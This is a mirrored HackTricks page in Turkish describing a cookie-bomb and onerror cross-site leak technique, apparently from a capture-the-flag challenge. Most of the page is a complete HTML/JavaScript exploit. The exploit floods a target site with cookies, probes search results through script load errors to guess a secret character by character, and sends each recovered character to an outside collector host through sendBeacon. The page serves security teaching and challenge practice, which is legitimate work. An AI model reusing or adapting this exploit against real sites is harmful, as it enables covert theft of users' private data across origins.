mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
61 lines
1.9 KiB
Markdown
61 lines
1.9 KiB
Markdown
# Cookie Bomb + Onerror XS Leak
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Aşağıdaki **script**, kullanıcının **herhangi bir miktarda çerez eklemesine** olanak tanıyan bir işlevselliği istismar ediyor ve ardından gerçek yanıtın yanlış olandan daha büyük olacağını bilerek bir dosyayı script olarak yüklüyor. Eğer başarılı olursa, yanıt, sunucu tarafından işlenemeyecek kadar uzun bir URL ile yönlendirme olur, **bu nedenle bir hata http durum kodu döner**. Arama başarısız olursa, URL kısa olduğu için hiçbir şey olmayacaktır.
|
||
```html
|
||
<>'";
|
||
<form action="https://sustenance.web.actf.co/s" method="POST">
|
||
<input id="f" /><input name="search" value="a" />
|
||
</form>
|
||
<script>
|
||
const $ = document.querySelector.bind(document)
|
||
const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
|
||
let i = 0
|
||
const stuff = async (len = 3500) => {
|
||
let name = Math.random()
|
||
$("form").target = name
|
||
let w = window.open("", name)
|
||
$("#f").value = "_".repeat(len)
|
||
$("#f").name = i++
|
||
$("form").submit()
|
||
await sleep(100)
|
||
}
|
||
const isError = async (url) => {
|
||
return new Promise((r) => {
|
||
let script = document.createElement("script")
|
||
script.src = url
|
||
script.onload = () => r(false)
|
||
script.onerror = () => r(true)
|
||
document.head.appendChild(script)
|
||
})
|
||
}
|
||
const search = (query) => {
|
||
return isError(
|
||
"https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query)
|
||
)
|
||
}
|
||
const alphabet =
|
||
"etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ"
|
||
const url = "//en4u1nbmyeahu.x.pipedream.net/"
|
||
let known = "actf{"
|
||
window.onload = async () => {
|
||
navigator.sendBeacon(url + "?load")
|
||
await Promise.all([stuff(), stuff(), stuff(), stuff()])
|
||
await stuff(1600)
|
||
navigator.sendBeacon(url + "?go")
|
||
while (true) {
|
||
for (let c of alphabet) {
|
||
let query = known + c
|
||
if (await search(query)) {
|
||
navigator.sendBeacon(url, query)
|
||
known += c
|
||
break
|
||
}
|
||
}
|
||
}
|
||
}
|
||
</script>
|
||
```
|
||
{{#include ../../banners/hacktricks-training.md}}
|